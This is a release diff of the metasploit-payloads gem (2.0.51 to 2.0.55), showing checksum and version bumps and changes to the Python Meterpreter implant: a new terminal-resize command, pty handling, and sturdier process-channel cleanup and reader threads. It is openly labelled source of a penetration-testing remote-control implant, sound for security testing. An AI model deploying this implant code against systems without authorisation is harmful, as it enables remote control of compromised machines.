metasploit-payloads 2.0.51 → 2.0.55

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 45746a7377cf1a34dc5e30331c877408baf912ae65b845b9c11a8d3b20da281d
-  data.tar.gz: 8bf8e8b755ed7b2a9f0bcda375ccf3ba69e6ea0df108ac5252f980e4c68d5471
+  metadata.gz: 0fbcfbe46a267ae62eb3d0311ad2b8f74c67b554af643e831d572e5f5884f632
+  data.tar.gz: 7aa3192b0be1dd60541b609fdd0d5888b3a4d59c19756322b9c899417916d54c
 SHA512:
-  metadata.gz: e6fdb193ca4da8303bb14a33bbbb661d674bf4686955f054b09432318cc6edb59b781e74ee53899a42cbf24898ec2b0ed2a608a514cdad3625b62acceed73702
-  data.tar.gz: 026b3461eb232f84d16d8cee48bf0bfa3e96d30370c3687f6a92ca7d17a70a9c71e444a080619d17e5a8fbcebe3708f668684216d3f7262da69cda0fa8e1a2c9
+  metadata.gz: 19dce631c6385cf74d2238790f9b249dd888df53ef92cc29a7f0e126b55e25bb699021cd4fe7ae44b76aa52f80c8fdd4e42949f80dd7b9c60cbb806993ad219a
+  data.tar.gz: bc994d5b3681824e3f22713abdf19bdc7f23d3c96922601288135701b9ab0d68cace7bbf171d4b2eeffadf78b5a3c044de05c9ad5e4a704f2f10d22998e1e6c0

data/data/meterpreter/ext_server_stdapi.py

@@ -39,6 +39,12 @@ try:
 except ImportError:
     has_termios = False
 
+try:
+    import fcntl
+    has_fcntl = True
+except ImportError:
+    has_fcntl = False
+
 try:
     import _winreg as winreg
     has_winreg = True
@@ -610,6 +616,9 @@ TLV_TYPE_REGISTER_SIZE         = TLV_META_TYPE_UINT    | 2541
 TLV_TYPE_REGISTER_VALUE_32     = TLV_META_TYPE_UINT    | 2542
 TLV_TYPE_REGISTER              = TLV_META_TYPE_GROUP   | 2550
 
+TLV_TYPE_TERMINAL_ROWS         = TLV_META_TYPE_UINT    | 2600
+TLV_TYPE_TERMINAL_COLUMNS      = TLV_META_TYPE_UINT    | 2601
+
 ##
 # Ui
 ##
@@ -1159,7 +1168,6 @@ def stdapi_sys_process_execute(request, response):
             if has_termios:
                 try:
                     settings = termios.tcgetattr(master)
-                    settings[3] = settings[3] & ~termios.ECHO
                     termios.tcsetattr(master, termios.TCSADRAIN, settings)
                 except:
                     pass
@@ -1167,6 +1175,7 @@ def stdapi_sys_process_execute(request, response):
             proc_h.stdin = os.fdopen(master, 'wb')
             proc_h.stdout = os.fdopen(master, 'rb')
             proc_h.stderr = open(os.devnull, 'rb')
+            proc_h.ptyfd = slave
         else:
             proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
             proc_h.echo_protection = True
@@ -2548,3 +2557,16 @@ def stdapi_ui_get_idle_time(request, response):
     idle_time = (GetTickCount() - info.dwTime) / 1000
     response += tlv_pack(TLV_TYPE_IDLE_TIME, idle_time)
     return ERROR_SUCCESS, response
+
+@register_function_if(has_termios and has_fcntl)
+def stdapi_sys_process_set_term_size(request, response):
+    channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
+    rows = packet_get_tlv(request, TLV_TYPE_TERMINAL_ROWS)['value']
+    columns = packet_get_tlv(request, TLV_TYPE_TERMINAL_COLUMNS)['value']
+    if channel_id in meterpreter.interact_channels:
+        proc_h = meterpreter.channels[channel_id].proc_h
+        winsize = struct.pack("HHHH", rows, columns, 0, 0)
+        fcntl.ioctl(proc_h.stdin, termios.TIOCSWINSZ, winsize)
+    else:
+        return ERROR_FAILURE, response
+    return ERROR_SUCCESS, response

data/data/meterpreter/meterpreter.py

@@ -347,6 +347,8 @@ COMMAND_IDS = (
     (1115, 'stdapi_audio_mic_start'),
     (1116, 'stdapi_audio_mic_stop'),
     (1117, 'stdapi_audio_mic_list'),
+    (1118, 'stdapi_sys_process_set_term_size'),
+
 )
 # ---------------------------------------------------------------
 
@@ -639,13 +641,17 @@ class MeterpreterProcess(MeterpreterChannel):
         super(MeterpreterProcess, self).__init__()
 
     def close(self):
-        self.proc_h.kill()
-        if hasattr(self.proc_h.stdin, 'close'):
-            self.proc_h.stdin.close()
-        if hasattr(self.proc_h.stdout, 'close'):
-            self.proc_h.stdout.close()
-        if hasattr(self.proc_h.stderr, 'close'):
-            self.proc_h.stderr.close()
+        if self.proc_h.poll() is None:
+            self.proc_h.kill()
+        if self.proc_h.ptyfd is not None:
+            os.close(self.proc_h.ptyfd)
+        for stream in (self.proc_h.stdin, self.proc_h.stdout, self.proc_h.stderr):
+            if not hasattr(stream, 'close'):
+                continue
+            try:
+                stream.close()
+            except (IOError, OSError):
+                pass
 
     def is_alive(self):
         return self.proc_h.poll() is None
@@ -739,18 +745,26 @@ class MeterpreterSocketUDPClient(MeterpreterSocket):
 export(MeterpreterSocketUDPClient)
 
 class STDProcessBuffer(threading.Thread):
-    def __init__(self, std, is_alive):
-        threading.Thread.__init__(self)
+    def __init__(self, std, is_alive, name=None):
+        threading.Thread.__init__(self, name=name or self.__class__.__name__)
         self.std = std
         self.is_alive = is_alive
         self.data = bytes()
         self.data_lock = threading.RLock()
 
+    def _read1(self):
+        try:
+            return self.std.read(1)
+        except (IOError, OSError):
+            return bytes()
+
     def run(self):
-        for byte in iter(lambda: self.std.read(1), bytes()):
+        byte = self._read1()
+        while len(byte):
             self.data_lock.acquire()
             self.data += byte
             self.data_lock.release()
+            byte = self._read1()
 
     def is_read_ready(self):
         return len(self.data) != 0
@@ -778,14 +792,15 @@ class STDProcess(subprocess.Popen):
         debug_print('[*] starting process: ' + repr(args[0]))
         subprocess.Popen.__init__(self, *args, **kwargs)
         self.echo_protection = False
+        self.ptyfd = None
 
     def is_alive(self):
         return self.poll() is None
 
     def start(self):
-        self.stdout_reader = STDProcessBuffer(self.stdout, self.is_alive)
+        self.stdout_reader = STDProcessBuffer(self.stdout, self.is_alive, name='STDProcessBuffer.stdout')
         self.stdout_reader.start()
-        self.stderr_reader = STDProcessBuffer(self.stderr, self.is_alive)
+        self.stderr_reader = STDProcessBuffer(self.stderr, self.is_alive, name='STDProcessBuffer.stderr')
         self.stderr_reader.start()
 
     def write(self, channel_data):
@@ -1273,15 +1288,15 @@ class PythonMeterpreter(object):
                 data = bytes()
                 write_request_parts = []
                 if isinstance(channel, MeterpreterProcess):
-                    if not channel_id in self.interact_channels:
-                        continue
-                    proc_h = channel.proc_h
-                    if proc_h.stderr_reader.is_read_ready():
-                        data = proc_h.stderr_reader.read()
-                    elif proc_h.stdout_reader.is_read_ready():
-                        data = proc_h.stdout_reader.read()
-                    elif not channel.is_alive():
+                    if channel_id in self.interact_channels:
+                        proc_h = channel.proc_h
+                        if proc_h.stderr_reader.is_read_ready():
+                            data = proc_h.stderr_reader.read()
+                        elif proc_h.stdout_reader.is_read_ready():
+                            data = proc_h.stdout_reader.read()
+                    if not channel.is_alive():
                         self.handle_dead_resource_channel(channel_id)
+                        channel.close()
                 elif isinstance(channel, MeterpreterSocketTCPClient):
                     while select.select([channel.fileno()], [], [], 0)[0]:
                         try:
@@ -1552,7 +1567,6 @@ class PythonMeterpreter(object):
         status, response = channel.core_eof(request, response)
         return ERROR_SUCCESS, response
 
-
     def _core_channel_interact(self, request, response):
         channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
         if channel_id not in self.channels:
@@ -1614,7 +1628,10 @@ class PythonMeterpreter(object):
                 if result != ERROR_SUCCESS:
                     debug_print('[-] method ' + handler_name + ' resulted in error: #' + str(result))
         else:
-            debug_print('[-] method ' + handler_name + ' was requested but does not exist')
+            if handler_name is None:
+                debug_print('[-] command id ' + str(commd_id_tlv['value']) + ' was requested but does not exist')
+            else:
+                debug_print('[-] method ' + handler_name + ' was requested but does not exist')
             result = error_result(NotImplementedError)
 
         reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)

data/lib/metasploit-payloads/version.rb

@@ -1,6 +1,6 @@
 # -*- coding:binary -*-
 module MetasploitPayloads
-  VERSION = '2.0.51'
+  VERSION = '2.0.55'
 
   def self.version
     VERSION

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: metasploit-payloads
 version: !ruby/object:Gem::Version
-  version: 2.0.51
+  version: 2.0.55
 platform: ruby
 authors:
 - OJ Reeves
@@ -96,7 +96,7 @@ cert_chain:
   EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
   9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
   -----END CERTIFICATE-----
-date: 2021-08-02 00:00:00.000000000 Z
+date: 2021-09-14 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: rake